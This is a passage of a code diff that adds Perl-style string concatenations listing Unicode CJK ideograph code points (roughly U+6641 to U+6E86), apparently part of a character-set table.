+'\x{6641}\x{6642}\x{6643}\x{6644}\x{6645}\x{6646}\x{6647}\x{6649}\x{664A}' .
+'\x{664B}\x{664C}\x{664E}\x{664F}\x{6650}\x{6651}\x{6652}\x{6653}\x{6654}' .
+'\x{6655}\x{6656}\x{6657}\x{6658}\x{6659}\x{665A}\x{665B}\x{665C}\x{665D}' .
+'\x{665E}\x{665F}\x{6661}\x{6662}\x{6664}\x{6665}\x{6666}\x{6668}\x{6669}' .
+'\x{666A}\x{666B}\x{666C}\x{666D}\x{666E}\x{666F}\x{6670}\x{6671}\x{6672}' .
+'\x{6673}\x{6674}\x{6675}\x{6676}\x{6677}\x{6678}\x{6679}\x{667A}\x{667B}' .
+'\x{667C}\x{667D}\x{667E}\x{667F}\x{6680}\x{6681}\x{6682}\x{6683}\x{6684}' .
+'\x{6685}\x{6686}\x{6687}\x{6688}\x{6689}\x{668A}\x{668B}\x{668C}\x{668D}' .
+'\x{668E}\x{668F}\x{6690}\x{6691}\x{6693}\x{6694}\x{6695}\x{6696}\x{6697}' .
+'\x{6698}\x{6699}\x{669A}\x{669B}\x{669D}\x{669F}\x{66A0}\x{66A1}\x{66A2}' .
+'\x{66A3}\x{66A4}\x{66A5}\x{66A6}\x{66A7}\x{66A8}\x{66A9}\x{66AA}\x{66AB}' .
+'\x{66AE}\x{66AF}\x{66B0}\x{66B1}\x{66B2}\x{66B3}\x{66B4}\x{66B5}\x{66B6}' .
+'\x{66B7}\x{66B8}\x{66B9}\x{66BA}\x{66BB}\x{66BC}\x{66BD}\x{66BE}\x{66BF}' .
+'\x{66C0}\x{66C1}\x{66C2}\x{66C3}\x{66C4}\x{66C5}\x{66C6}\x{66C7}\x{66C8}' .
+'\x{66C9}\x{66CA}\x{66CB}\x{66CC}\x{66CD}\x{66CE}\x{66CF}\x{66D1}\x{66D2}' .
+'\x{66D4}\x{66D5}\x{66D6}\x{66D8}\x{66D9}\x{66DA}\x{66DB}\x{66DC}\x{66DD}' .
+'\x{66DE}\x{66E0}\x{66E1}\x{66E2}\x{66E3}\x{66E4}\x{66E5}\x{66E6}\x{66E7}' .
+'\x{66E8}\x{66E9}\x{66EA}\x{66EB}\x{66EC}\x{66ED}\x{66EE}\x{66F0}\x{66F1}' .
+'\x{66F2}\x{66F3}\x{66F4}\x{66F5}\x{66F6}\x{66F7}\x{66F8}\x{66F9}\x{66FA}' .
+'\x{66FB}\x{66FC}\x{66FE}\x{66FF}\x{6700}\x{6701}\x{6703}\x{6704}\x{6705}' .
+'\x{6706}\x{6708}\x{6709}\x{670A}\x{670B}\x{670C}\x{670D}\x{670E}\x{670F}' .
+'\x{6710}\x{6711}\x{6712}\x{6713}\x{6714}\x{6715}\x{6716}\x{6717}\x{6718}' .
+'\x{671A}\x{671B}\x{671C}\x{671D}\x{671E}\x{671F}\x{6720}\x{6721}\x{6722}' .
+'\x{6723}\x{6725}\x{6726}\x{6727}\x{6728}\x{672A}\x{672B}\x{672C}\x{672D}' .
+'\x{672E}\x{672F}\x{6730}\x{6731}\x{6732}\x{6733}\x{6734}\x{6735}\x{6736}' .
+'\x{6737}\x{6738}\x{6739}\x{673A}\x{673B}\x{673C}\x{673D}\x{673E}\x{673F}' .
+'\x{6740}\x{6741}\x{6742}\x{6743}\x{6744}\x{6745}\x{6746}\x{6747}\x{6748}' .
+'\x{6749}\x{674A}\x{674B}\x{674C}\x{674D}\x{674E}\x{674F}\x{6750}\x{6751}' .
+'\x{6752}\x{6753}\x{6754}\x{6755}\x{6756}\x{6757}\x{6758}\x{6759}\x{675A}' .
+'\x{675B}\x{675C}\x{675D}\x{675E}\x{675F}\x{6760}\x{6761}\x{6762}\x{6763}' .
+'\x{6764}\x{6765}\x{6766}\x{6768}\x{6769}\x{676A}\x{676B}\x{676C}\x{676D}' .
+'\x{676E}\x{676F}\x{6770}\x{6771}\x{6772}\x{6773}\x{6774}\x{6775}\x{6776}' .
+'\x{6777}\x{6778}\x{6779}\x{677A}\x{677B}\x{677C}\x{677D}\x{677E}\x{677F}' .
+'\x{6780}\x{6781}\x{6782}\x{6783}\x{6784}\x{6785}\x{6786}\x{6787}\x{6789}' .
+'\x{678A}\x{678B}\x{678C}\x{678D}\x{678E}\x{678F}\x{6790}\x{6791}\x{6792}' .
+'\x{6793}\x{6794}\x{6795}\x{6797}\x{6798}\x{6799}\x{679A}\x{679B}\x{679C}' .
+'\x{679D}\x{679E}\x{679F}\x{67A0}\x{67A1}\x{67A2}\x{67A3}\x{67A4}\x{67A5}' .
+'\x{67A6}\x{67A7}\x{67A8}\x{67AA}\x{67AB}\x{67AC}\x{67AD}\x{67AE}\x{67AF}' .
+'\x{67B0}\x{67B1}\x{67B2}\x{67B3}\x{67B4}\x{67B5}\x{67B6}\x{67B7}\x{67B8}' .
+'\x{67B9}\x{67BA}\x{67BB}\x{67BC}\x{67BE}\x{67C0}\x{67C1}\x{67C2}\x{67C3}' .
+'\x{67C4}\x{67C5}\x{67C6}\x{67C7}\x{67C8}\x{67C9}\x{67CA}\x{67CB}\x{67CC}' .
+'\x{67CD}\x{67CE}\x{67CF}\x{67D0}\x{67D1}\x{67D2}\x{67D3}\x{67D4}\x{67D6}' .
+'\x{67D8}\x{67D9}\x{67DA}\x{67DB}\x{67DC}\x{67DD}\x{67DE}\x{67DF}\x{67E0}' .
+'\x{67E1}\x{67E2}\x{67E3}\x{67E4}\x{67E5}\x{67E6}\x{67E7}\x{67E8}\x{67E9}' .
+'\x{67EA}\x{67EB}\x{67EC}\x{67ED}\x{67EE}\x{67EF}\x{67F0}\x{67F1}\x{67F2}' .
+'\x{67F3}\x{67F4}\x{67F5}\x{67F6}\x{67F7}\x{67F8}\x{67FA}\x{67FB}\x{67FC}' .
+'\x{67FD}\x{67FE}\x{67FF}\x{6800}\x{6802}\x{6803}\x{6804}\x{6805}\x{6806}' .
+'\x{6807}\x{6808}\x{6809}\x{680A}\x{680B}\x{680C}\x{680D}\x{680E}\x{680F}' .
+'\x{6810}\x{6811}\x{6812}\x{6813}\x{6814}\x{6816}\x{6817}\x{6818}\x{6819}' .
+'\x{681A}\x{681B}\x{681C}\x{681D}\x{681F}\x{6820}\x{6821}\x{6822}\x{6823}' .
+'\x{6824}\x{6825}\x{6826}\x{6828}\x{6829}\x{682A}\x{682B}\x{682C}\x{682D}' .
+'\x{682E}\x{682F}\x{6831}\x{6832}\x{6833}\x{6834}\x{6835}\x{6836}\x{6837}' .
+'\x{6838}\x{6839}\x{683A}\x{683B}\x{683C}\x{683D}\x{683E}\x{683F}\x{6840}' .
+'\x{6841}\x{6842}\x{6843}\x{6844}\x{6845}\x{6846}\x{6847}\x{6848}\x{6849}' .
+'\x{684A}\x{684B}\x{684C}\x{684D}\x{684E}\x{684F}\x{6850}\x{6851}\x{6852}' .
+'\x{6853}\x{6854}\x{6855}\x{6856}\x{6857}\x{685B}\x{685D}\x{6860}\x{6861}' .
+'\x{6862}\x{6863}\x{6864}\x{6865}\x{6866}\x{6867}\x{6868}\x{6869}\x{686A}' .
+'\x{686B}\x{686C}\x{686D}\x{686E}\x{686F}\x{6870}\x{6871}\x{6872}\x{6873}' .
+'\x{6874}\x{6875}\x{6876}\x{6877}\x{6878}\x{6879}\x{687B}\x{687C}\x{687D}' .
+'\x{687E}\x{687F}\x{6880}\x{6881}\x{6882}\x{6883}\x{6884}\x{6885}\x{6886}' .
+'\x{6887}\x{6888}\x{6889}\x{688A}\x{688B}\x{688C}\x{688D}\x{688E}\x{688F}' .
+'\x{6890}\x{6891}\x{6892}\x{6893}\x{6894}\x{6896}\x{6897}\x{6898}\x{689A}' .
+'\x{689B}\x{689C}\x{689D}\x{689E}\x{689F}\x{68A0}\x{68A1}\x{68A2}\x{68A3}' .
+'\x{68A4}\x{68A6}\x{68A7}\x{68A8}\x{68A9}\x{68AA}\x{68AB}\x{68AC}\x{68AD}' .
+'\x{68AE}\x{68AF}\x{68B0}\x{68B1}\x{68B2}\x{68B3}\x{68B4}\x{68B5}\x{68B6}' .
+'\x{68B7}\x{68B9}\x{68BB}\x{68BC}\x{68BD}\x{68BE}\x{68BF}\x{68C0}\x{68C1}' .
+'\x{68C2}\x{68C4}\x{68C6}\x{68C7}\x{68C8}\x{68C9}\x{68CA}\x{68CB}\x{68CC}' .
+'\x{68CD}\x{68CE}\x{68CF}\x{68D0}\x{68D1}\x{68D2}\x{68D3}\x{68D4}\x{68D5}' .
+'\x{68D6}\x{68D7}\x{68D8}\x{68DA}\x{68DB}\x{68DC}\x{68DD}\x{68DE}\x{68DF}' .
+'\x{68E0}\x{68E1}\x{68E3}\x{68E4}\x{68E6}\x{68E7}\x{68E8}\x{68E9}\x{68EA}' .
+'\x{68EB}\x{68EC}\x{68ED}\x{68EE}\x{68EF}\x{68F0}\x{68F1}\x{68F2}\x{68F3}' .
+'\x{68F4}\x{68F5}\x{68F6}\x{68F7}\x{68F8}\x{68F9}\x{68FA}\x{68FB}\x{68FC}' .
+'\x{68FD}\x{68FE}\x{68FF}\x{6901}\x{6902}\x{6903}\x{6904}\x{6905}\x{6906}' .
+'\x{6907}\x{6908}\x{690A}\x{690B}\x{690C}\x{690D}\x{690E}\x{690F}\x{6910}' .
+'\x{6911}\x{6912}\x{6913}\x{6914}\x{6915}\x{6916}\x{6917}\x{6918}\x{6919}' .
+'\x{691A}\x{691B}\x{691C}\x{691D}\x{691E}\x{691F}\x{6920}\x{6921}\x{6922}' .
+'\x{6923}\x{6924}\x{6925}\x{6926}\x{6927}\x{6928}\x{6929}\x{692A}\x{692B}' .
+'\x{692C}\x{692D}\x{692E}\x{692F}\x{6930}\x{6931}\x{6932}\x{6933}\x{6934}' .
+'\x{6935}\x{6936}\x{6937}\x{6938}\x{6939}\x{693A}\x{693B}\x{693C}\x{693D}' .
+'\x{693F}\x{6940}\x{6941}\x{6942}\x{6943}\x{6944}\x{6945}\x{6946}\x{6947}' .
+'\x{6948}\x{6949}\x{694A}\x{694B}\x{694C}\x{694E}\x{694F}\x{6950}\x{6951}' .
+'\x{6952}\x{6953}\x{6954}\x{6955}\x{6956}\x{6957}\x{6958}\x{6959}\x{695A}' .
+'\x{695B}\x{695C}\x{695D}\x{695E}\x{695F}\x{6960}\x{6961}\x{6962}\x{6963}' .
+'\x{6964}\x{6965}\x{6966}\x{6967}\x{6968}\x{6969}\x{696A}\x{696B}\x{696C}' .
+'\x{696D}\x{696E}\x{696F}\x{6970}\x{6971}\x{6972}\x{6973}\x{6974}\x{6975}' .
+'\x{6976}\x{6977}\x{6978}\x{6979}\x{697A}\x{697B}\x{697C}\x{697D}\x{697E}' .
+'\x{697F}\x{6980}\x{6981}\x{6982}\x{6983}\x{6984}\x{6985}\x{6986}\x{6987}' .
+'\x{6988}\x{6989}\x{698A}\x{698B}\x{698C}\x{698D}\x{698E}\x{698F}\x{6990}' .
+'\x{6991}\x{6992}\x{6993}\x{6994}\x{6995}\x{6996}\x{6997}\x{6998}\x{6999}' .
+'\x{699A}\x{699B}\x{699C}\x{699D}\x{699E}\x{69A0}\x{69A1}\x{69A3}\x{69A4}' .
+'\x{69A5}\x{69A6}\x{69A7}\x{69A8}\x{69A9}\x{69AA}\x{69AB}\x{69AC}\x{69AD}' .
+'\x{69AE}\x{69AF}\x{69B0}\x{69B1}\x{69B2}\x{69B3}\x{69B4}\x{69B5}\x{69B6}' .
+'\x{69B7}\x{69B8}\x{69B9}\x{69BA}\x{69BB}\x{69BC}\x{69BD}\x{69BE}\x{69BF}' .
+'\x{69C1}\x{69C2}\x{69C3}\x{69C4}\x{69C5}\x{69C6}\x{69C7}\x{69C8}\x{69C9}' .
+'\x{69CA}\x{69CB}\x{69CC}\x{69CD}\x{69CE}\x{69CF}\x{69D0}\x{69D3}\x{69D4}' .
+'\x{69D8}\x{69D9}\x{69DA}\x{69DB}\x{69DC}\x{69DD}\x{69DE}\x{69DF}\x{69E0}' .
+'\x{69E1}\x{69E2}\x{69E3}\x{69E4}\x{69E5}\x{69E6}\x{69E7}\x{69E8}\x{69E9}' .
+'\x{69EA}\x{69EB}\x{69EC}\x{69ED}\x{69EE}\x{69EF}\x{69F0}\x{69F1}\x{69F2}' .
+'\x{69F3}\x{69F4}\x{69F5}\x{69F6}\x{69F7}\x{69F8}\x{69FA}\x{69FB}\x{69FC}' .
+'\x{69FD}\x{69FE}\x{69FF}\x{6A00}\x{6A01}\x{6A02}\x{6A04}\x{6A05}\x{6A06}' .
+'\x{6A07}\x{6A08}\x{6A09}\x{6A0A}\x{6A0B}\x{6A0D}\x{6A0E}\x{6A0F}\x{6A10}' .
+'\x{6A11}\x{6A12}\x{6A13}\x{6A14}\x{6A15}\x{6A16}\x{6A17}\x{6A18}\x{6A19}' .
+'\x{6A1A}\x{6A1B}\x{6A1D}\x{6A1E}\x{6A1F}\x{6A20}\x{6A21}\x{6A22}\x{6A23}' .
+'\x{6A25}\x{6A26}\x{6A27}\x{6A28}\x{6A29}\x{6A2A}\x{6A2B}\x{6A2C}\x{6A2D}' .
+'\x{6A2E}\x{6A2F}\x{6A30}\x{6A31}\x{6A32}\x{6A33}\x{6A34}\x{6A35}\x{6A36}' .
+'\x{6A38}\x{6A39}\x{6A3A}\x{6A3B}\x{6A3C}\x{6A3D}\x{6A3E}\x{6A3F}\x{6A40}' .
+'\x{6A41}\x{6A42}\x{6A43}\x{6A44}\x{6A45}\x{6A46}\x{6A47}\x{6A48}\x{6A49}' .
+'\x{6A4B}\x{6A4C}\x{6A4D}\x{6A4E}\x{6A4F}\x{6A50}\x{6A51}\x{6A52}\x{6A54}' .
+'\x{6A55}\x{6A56}\x{6A57}\x{6A58}\x{6A59}\x{6A5A}\x{6A5B}\x{6A5D}\x{6A5E}' .
+'\x{6A5F}\x{6A60}\x{6A61}\x{6A62}\x{6A63}\x{6A64}\x{6A65}\x{6A66}\x{6A67}' .
+'\x{6A68}\x{6A69}\x{6A6A}\x{6A6B}\x{6A6C}\x{6A6D}\x{6A6F}\x{6A71}\x{6A72}' .
+'\x{6A73}\x{6A74}\x{6A75}\x{6A76}\x{6A77}\x{6A78}\x{6A79}\x{6A7A}\x{6A7B}' .
+'\x{6A7C}\x{6A7D}\x{6A7E}\x{6A7F}\x{6A80}\x{6A81}\x{6A82}\x{6A83}\x{6A84}' .
+'\x{6A85}\x{6A87}\x{6A88}\x{6A89}\x{6A8B}\x{6A8C}\x{6A8D}\x{6A8E}\x{6A90}' .
+'\x{6A91}\x{6A92}\x{6A93}\x{6A94}\x{6A95}\x{6A96}\x{6A97}\x{6A98}\x{6A9A}' .
+'\x{6A9B}\x{6A9C}\x{6A9E}\x{6A9F}\x{6AA0}\x{6AA1}\x{6AA2}\x{6AA3}\x{6AA4}' .
+'\x{6AA5}\x{6AA6}\x{6AA7}\x{6AA8}\x{6AA9}\x{6AAB}\x{6AAC}\x{6AAD}\x{6AAE}' .
+'\x{6AAF}\x{6AB0}\x{6AB2}\x{6AB3}\x{6AB4}\x{6AB5}\x{6AB6}\x{6AB7}\x{6AB8}' .
+'\x{6AB9}\x{6ABA}\x{6ABB}\x{6ABC}\x{6ABD}\x{6ABF}\x{6AC1}\x{6AC2}\x{6AC3}' .
+'\x{6AC5}\x{6AC6}\x{6AC7}\x{6ACA}\x{6ACB}\x{6ACC}\x{6ACD}\x{6ACE}\x{6ACF}' .
+'\x{6AD0}\x{6AD1}\x{6AD2}\x{6AD3}\x{6AD4}\x{6AD5}\x{6AD6}\x{6AD7}\x{6AD9}' .
+'\x{6ADA}\x{6ADB}\x{6ADC}\x{6ADD}\x{6ADE}\x{6ADF}\x{6AE0}\x{6AE1}\x{6AE2}' .
+'\x{6AE3}\x{6AE4}\x{6AE5}\x{6AE6}\x{6AE7}\x{6AE8}\x{6AEA}\x{6AEB}\x{6AEC}' .
+'\x{6AED}\x{6AEE}\x{6AEF}\x{6AF0}\x{6AF1}\x{6AF2}\x{6AF3}\x{6AF4}\x{6AF5}' .
+'\x{6AF6}\x{6AF7}\x{6AF8}\x{6AF9}\x{6AFA}\x{6AFB}\x{6AFC}\x{6AFD}\x{6AFE}' .
+'\x{6AFF}\x{6B00}\x{6B01}\x{6B02}\x{6B03}\x{6B04}\x{6B05}\x{6B06}\x{6B07}' .
+'\x{6B08}\x{6B09}\x{6B0A}\x{6B0B}\x{6B0C}\x{6B0D}\x{6B0F}\x{6B10}\x{6B11}' .
+'\x{6B12}\x{6B13}\x{6B14}\x{6B15}\x{6B16}\x{6B17}\x{6B18}\x{6B19}\x{6B1A}' .
+'\x{6B1C}\x{6B1D}\x{6B1E}\x{6B1F}\x{6B20}\x{6B21}\x{6B22}\x{6B23}\x{6B24}' .
+'\x{6B25}\x{6B26}\x{6B27}\x{6B28}\x{6B29}\x{6B2A}\x{6B2B}\x{6B2C}\x{6B2D}' .
+'\x{6B2F}\x{6B30}\x{6B31}\x{6B32}\x{6B33}\x{6B34}\x{6B36}\x{6B37}\x{6B38}' .
+'\x{6B39}\x{6B3A}\x{6B3B}\x{6B3C}\x{6B3D}\x{6B3E}\x{6B3F}\x{6B41}\x{6B42}' .
+'\x{6B43}\x{6B44}\x{6B45}\x{6B46}\x{6B47}\x{6B48}\x{6B49}\x{6B4A}\x{6B4B}' .
+'\x{6B4C}\x{6B4D}\x{6B4E}\x{6B4F}\x{6B50}\x{6B51}\x{6B52}\x{6B53}\x{6B54}' .
+'\x{6B55}\x{6B56}\x{6B59}\x{6B5A}\x{6B5B}\x{6B5C}\x{6B5E}\x{6B5F}\x{6B60}' .
+'\x{6B61}\x{6B62}\x{6B63}\x{6B64}\x{6B65}\x{6B66}\x{6B67}\x{6B69}\x{6B6A}' .
+'\x{6B6B}\x{6B6D}\x{6B6F}\x{6B70}\x{6B72}\x{6B73}\x{6B74}\x{6B76}\x{6B77}' .
+'\x{6B78}\x{6B79}\x{6B7A}\x{6B7B}\x{6B7C}\x{6B7E}\x{6B7F}\x{6B80}\x{6B81}' .
+'\x{6B82}\x{6B83}\x{6B84}\x{6B85}\x{6B86}\x{6B87}\x{6B88}\x{6B89}\x{6B8A}' .
+'\x{6B8B}\x{6B8C}\x{6B8D}\x{6B8E}\x{6B8F}\x{6B90}\x{6B91}\x{6B92}\x{6B93}' .
+'\x{6B94}\x{6B95}\x{6B96}\x{6B97}\x{6B98}\x{6B99}\x{6B9A}\x{6B9B}\x{6B9C}' .
+'\x{6B9D}\x{6B9E}\x{6B9F}\x{6BA0}\x{6BA1}\x{6BA2}\x{6BA3}\x{6BA4}\x{6BA5}' .
+'\x{6BA6}\x{6BA7}\x{6BA8}\x{6BA9}\x{6BAA}\x{6BAB}\x{6BAC}\x{6BAD}\x{6BAE}' .
+'\x{6BAF}\x{6BB0}\x{6BB2}\x{6BB3}\x{6BB4}\x{6BB5}\x{6BB6}\x{6BB7}\x{6BB9}' .
+'\x{6BBA}\x{6BBB}\x{6BBC}\x{6BBD}\x{6BBE}\x{6BBF}\x{6BC0}\x{6BC1}\x{6BC2}' .
+'\x{6BC3}\x{6BC4}\x{6BC5}\x{6BC6}\x{6BC7}\x{6BC8}\x{6BC9}\x{6BCA}\x{6BCB}' .
+'\x{6BCC}\x{6BCD}\x{6BCE}\x{6BCF}\x{6BD0}\x{6BD1}\x{6BD2}\x{6BD3}\x{6BD4}' .
+'\x{6BD5}\x{6BD6}\x{6BD7}\x{6BD8}\x{6BD9}\x{6BDA}\x{6BDB}\x{6BDC}\x{6BDD}' .
+'\x{6BDE}\x{6BDF}\x{6BE0}\x{6BE1}\x{6BE2}\x{6BE3}\x{6BE4}\x{6BE5}\x{6BE6}' .
+'\x{6BE7}\x{6BE8}\x{6BEA}\x{6BEB}\x{6BEC}\x{6BED}\x{6BEE}\x{6BEF}\x{6BF0}' .
+'\x{6BF2}\x{6BF3}\x{6BF5}\x{6BF6}\x{6BF7}\x{6BF8}\x{6BF9}\x{6BFB}\x{6BFC}' .
+'\x{6BFD}\x{6BFE}\x{6BFF}\x{6C00}\x{6C01}\x{6C02}\x{6C03}\x{6C04}\x{6C05}' .
+'\x{6C06}\x{6C07}\x{6C08}\x{6C09}\x{6C0B}\x{6C0C}\x{6C0D}\x{6C0E}\x{6C0F}' .
+'\x{6C10}\x{6C11}\x{6C12}\x{6C13}\x{6C14}\x{6C15}\x{6C16}\x{6C18}\x{6C19}' .
+'\x{6C1A}\x{6C1B}\x{6C1D}\x{6C1E}\x{6C1F}\x{6C20}\x{6C21}\x{6C22}\x{6C23}' .
+'\x{6C24}\x{6C25}\x{6C26}\x{6C27}\x{6C28}\x{6C29}\x{6C2A}\x{6C2B}\x{6C2C}' .
+'\x{6C2E}\x{6C2F}\x{6C30}\x{6C31}\x{6C32}\x{6C33}\x{6C34}\x{6C35}\x{6C36}' .
+'\x{6C37}\x{6C38}\x{6C3A}\x{6C3B}\x{6C3D}\x{6C3E}\x{6C3F}\x{6C40}\x{6C41}' .
+'\x{6C42}\x{6C43}\x{6C44}\x{6C46}\x{6C47}\x{6C48}\x{6C49}\x{6C4A}\x{6C4B}' .
+'\x{6C4C}\x{6C4D}\x{6C4E}\x{6C4F}\x{6C50}\x{6C51}\x{6C52}\x{6C53}\x{6C54}' .
+'\x{6C55}\x{6C56}\x{6C57}\x{6C58}\x{6C59}\x{6C5A}\x{6C5B}\x{6C5C}\x{6C5D}' .
+'\x{6C5E}\x{6C5F}\x{6C60}\x{6C61}\x{6C62}\x{6C63}\x{6C64}\x{6C65}\x{6C66}' .
+'\x{6C67}\x{6C68}\x{6C69}\x{6C6A}\x{6C6B}\x{6C6D}\x{6C6F}\x{6C70}\x{6C71}' .
+'\x{6C72}\x{6C73}\x{6C74}\x{6C75}\x{6C76}\x{6C77}\x{6C78}\x{6C79}\x{6C7A}' .
+'\x{6C7B}\x{6C7C}\x{6C7D}\x{6C7E}\x{6C7F}\x{6C80}\x{6C81}\x{6C82}\x{6C83}' .
+'\x{6C84}\x{6C85}\x{6C86}\x{6C87}\x{6C88}\x{6C89}\x{6C8A}\x{6C8B}\x{6C8C}' .
+'\x{6C8D}\x{6C8E}\x{6C8F}\x{6C90}\x{6C91}\x{6C92}\x{6C93}\x{6C94}\x{6C95}' .
+'\x{6C96}\x{6C97}\x{6C98}\x{6C99}\x{6C9A}\x{6C9B}\x{6C9C}\x{6C9D}\x{6C9E}' .
+'\x{6C9F}\x{6CA1}\x{6CA2}\x{6CA3}\x{6CA4}\x{6CA5}\x{6CA6}\x{6CA7}\x{6CA8}' .
+'\x{6CA9}\x{6CAA}\x{6CAB}\x{6CAC}\x{6CAD}\x{6CAE}\x{6CAF}\x{6CB0}\x{6CB1}' .
+'\x{6CB2}\x{6CB3}\x{6CB4}\x{6CB5}\x{6CB6}\x{6CB7}\x{6CB8}\x{6CB9}\x{6CBA}' .
+'\x{6CBB}\x{6CBC}\x{6CBD}\x{6CBE}\x{6CBF}\x{6CC0}\x{6CC1}\x{6CC2}\x{6CC3}' .
+'\x{6CC4}\x{6CC5}\x{6CC6}\x{6CC7}\x{6CC8}\x{6CC9}\x{6CCA}\x{6CCB}\x{6CCC}' .
+'\x{6CCD}\x{6CCE}\x{6CCF}\x{6CD0}\x{6CD1}\x{6CD2}\x{6CD3}\x{6CD4}\x{6CD5}' .
+'\x{6CD6}\x{6CD7}\x{6CD9}\x{6CDA}\x{6CDB}\x{6CDC}\x{6CDD}\x{6CDE}\x{6CDF}' .
+'\x{6CE0}\x{6CE1}\x{6CE2}\x{6CE3}\x{6CE4}\x{6CE5}\x{6CE6}\x{6CE7}\x{6CE8}' .
+'\x{6CE9}\x{6CEA}\x{6CEB}\x{6CEC}\x{6CED}\x{6CEE}\x{6CEF}\x{6CF0}\x{6CF1}' .
+'\x{6CF2}\x{6CF3}\x{6CF5}\x{6CF6}\x{6CF7}\x{6CF8}\x{6CF9}\x{6CFA}\x{6CFB}' .
+'\x{6CFC}\x{6CFD}\x{6CFE}\x{6CFF}\x{6D00}\x{6D01}\x{6D03}\x{6D04}\x{6D05}' .
+'\x{6D06}\x{6D07}\x{6D08}\x{6D09}\x{6D0A}\x{6D0B}\x{6D0C}\x{6D0D}\x{6D0E}' .
+'\x{6D0F}\x{6D10}\x{6D11}\x{6D12}\x{6D13}\x{6D14}\x{6D15}\x{6D16}\x{6D17}' .
+'\x{6D18}\x{6D19}\x{6D1A}\x{6D1B}\x{6D1D}\x{6D1E}\x{6D1F}\x{6D20}\x{6D21}' .
+'\x{6D22}\x{6D23}\x{6D25}\x{6D26}\x{6D27}\x{6D28}\x{6D29}\x{6D2A}\x{6D2B}' .
+'\x{6D2C}\x{6D2D}\x{6D2E}\x{6D2F}\x{6D30}\x{6D31}\x{6D32}\x{6D33}\x{6D34}' .
+'\x{6D35}\x{6D36}\x{6D37}\x{6D38}\x{6D39}\x{6D3A}\x{6D3B}\x{6D3C}\x{6D3D}' .
+'\x{6D3E}\x{6D3F}\x{6D40}\x{6D41}\x{6D42}\x{6D43}\x{6D44}\x{6D45}\x{6D46}' .
+'\x{6D47}\x{6D48}\x{6D49}\x{6D4A}\x{6D4B}\x{6D4C}\x{6D4D}\x{6D4E}\x{6D4F}' .
+'\x{6D50}\x{6D51}\x{6D52}\x{6D53}\x{6D54}\x{6D55}\x{6D56}\x{6D57}\x{6D58}' .
+'\x{6D59}\x{6D5A}\x{6D5B}\x{6D5C}\x{6D5D}\x{6D5E}\x{6D5F}\x{6D60}\x{6D61}' .
+'\x{6D62}\x{6D63}\x{6D64}\x{6D65}\x{6D66}\x{6D67}\x{6D68}\x{6D69}\x{6D6A}' .
+'\x{6D6B}\x{6D6C}\x{6D6D}\x{6D6E}\x{6D6F}\x{6D70}\x{6D72}\x{6D73}\x{6D74}' .
+'\x{6D75}\x{6D76}\x{6D77}\x{6D78}\x{6D79}\x{6D7A}\x{6D7B}\x{6D7C}\x{6D7D}' .
+'\x{6D7E}\x{6D7F}\x{6D80}\x{6D82}\x{6D83}\x{6D84}\x{6D85}\x{6D86}\x{6D87}' .
+'\x{6D88}\x{6D89}\x{6D8A}\x{6D8B}\x{6D8C}\x{6D8D}\x{6D8E}\x{6D8F}\x{6D90}' .
+'\x{6D91}\x{6D92}\x{6D93}\x{6D94}\x{6D95}\x{6D97}\x{6D98}\x{6D99}\x{6D9A}' .
+'\x{6D9B}\x{6D9D}\x{6D9E}\x{6D9F}\x{6DA0}\x{6DA1}\x{6DA2}\x{6DA3}\x{6DA4}' .
+'\x{6DA5}\x{6DA6}\x{6DA7}\x{6DA8}\x{6DA9}\x{6DAA}\x{6DAB}\x{6DAC}\x{6DAD}' .
+'\x{6DAE}\x{6DAF}\x{6DB2}\x{6DB3}\x{6DB4}\x{6DB5}\x{6DB7}\x{6DB8}\x{6DB9}' .
+'\x{6DBA}\x{6DBB}\x{6DBC}\x{6DBD}\x{6DBE}\x{6DBF}\x{6DC0}\x{6DC1}\x{6DC2}' .
+'\x{6DC3}\x{6DC4}\x{6DC5}\x{6DC6}\x{6DC7}\x{6DC8}\x{6DC9}\x{6DCA}\x{6DCB}' .
+'\x{6DCC}\x{6DCD}\x{6DCE}\x{6DCF}\x{6DD0}\x{6DD1}\x{6DD2}\x{6DD3}\x{6DD4}' .
+'\x{6DD5}\x{6DD6}\x{6DD7}\x{6DD8}\x{6DD9}\x{6DDA}\x{6DDB}\x{6DDC}\x{6DDD}' .
+'\x{6DDE}\x{6DDF}\x{6DE0}\x{6DE1}\x{6DE2}\x{6DE3}\x{6DE4}\x{6DE5}\x{6DE6}' .
+'\x{6DE7}\x{6DE8}\x{6DE9}\x{6DEA}\x{6DEB}\x{6DEC}\x{6DED}\x{6DEE}\x{6DEF}' .
+'\x{6DF0}\x{6DF1}\x{6DF2}\x{6DF3}\x{6DF4}\x{6DF5}\x{6DF6}\x{6DF7}\x{6DF8}' .
+'\x{6DF9}\x{6DFA}\x{6DFB}\x{6DFC}\x{6DFD}\x{6E00}\x{6E03}\x{6E04}\x{6E05}' .
+'\x{6E07}\x{6E08}\x{6E09}\x{6E0A}\x{6E0B}\x{6E0C}\x{6E0D}\x{6E0E}\x{6E0F}' .
+'\x{6E10}\x{6E11}\x{6E14}\x{6E15}\x{6E16}\x{6E17}\x{6E19}\x{6E1A}\x{6E1B}' .
+'\x{6E1C}\x{6E1D}\x{6E1E}\x{6E1F}\x{6E20}\x{6E21}\x{6E22}\x{6E23}\x{6E24}' .
+'\x{6E25}\x{6E26}\x{6E27}\x{6E28}\x{6E29}\x{6E2B}\x{6E2C}\x{6E2D}\x{6E2E}' .
+'\x{6E2F}\x{6E30}\x{6E31}\x{6E32}\x{6E33}\x{6E34}\x{6E35}\x{6E36}\x{6E37}' .
+'\x{6E38}\x{6E39}\x{6E3A}\x{6E3B}\x{6E3C}\x{6E3D}\x{6E3E}\x{6E3F}\x{6E40}' .
+'\x{6E41}\x{6E42}\x{6E43}\x{6E44}\x{6E45}\x{6E46}\x{6E47}\x{6E48}\x{6E49}' .
+'\x{6E4A}\x{6E4B}\x{6E4D}\x{6E4E}\x{6E4F}\x{6E50}\x{6E51}\x{6E52}\x{6E53}' .
+'\x{6E54}\x{6E55}\x{6E56}\x{6E57}\x{6E58}\x{6E59}\x{6E5A}\x{6E5B}\x{6E5C}' .
+'\x{6E5D}\x{6E5E}\x{6E5F}\x{6E60}\x{6E61}\x{6E62}\x{6E63}\x{6E64}\x{6E65}' .
+'\x{6E66}\x{6E67}\x{6E68}\x{6E69}\x{6E6A}\x{6E6B}\x{6E6D}\x{6E6E}\x{6E6F}' .
+'\x{6E70}\x{6E71}\x{6E72}\x{6E73}\x{6E74}\x{6E75}\x{6E77}\x{6E78}\x{6E79}' .
+'\x{6E7E}\x{6E7F}\x{6E80}\x{6E81}\x{6E82}\x{6E83}\x{6E84}\x{6E85}\x{6E86}' .
